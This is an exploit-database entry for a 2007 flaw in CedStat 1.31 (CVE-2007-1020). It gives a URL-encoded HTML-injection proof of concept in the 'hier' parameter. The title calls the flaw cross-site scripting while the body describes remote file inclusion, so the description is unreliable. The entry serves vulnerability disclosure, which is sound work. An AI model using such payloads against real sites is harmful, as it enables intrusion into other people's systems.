CedStat 1.31 - 'index.php?hier' Cross-Site Scripting

Author: sn0oPy
type: webapps
platform: php
port: 
date_added: 2007-02-16 
date_updated: 2013-11-15 
verified: 1 
codes: CVE-2007-1020;OSVDB-33734 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/22588/info

CedStat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process.

This issue affects version 1.31; prior versions may also be affected.

http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E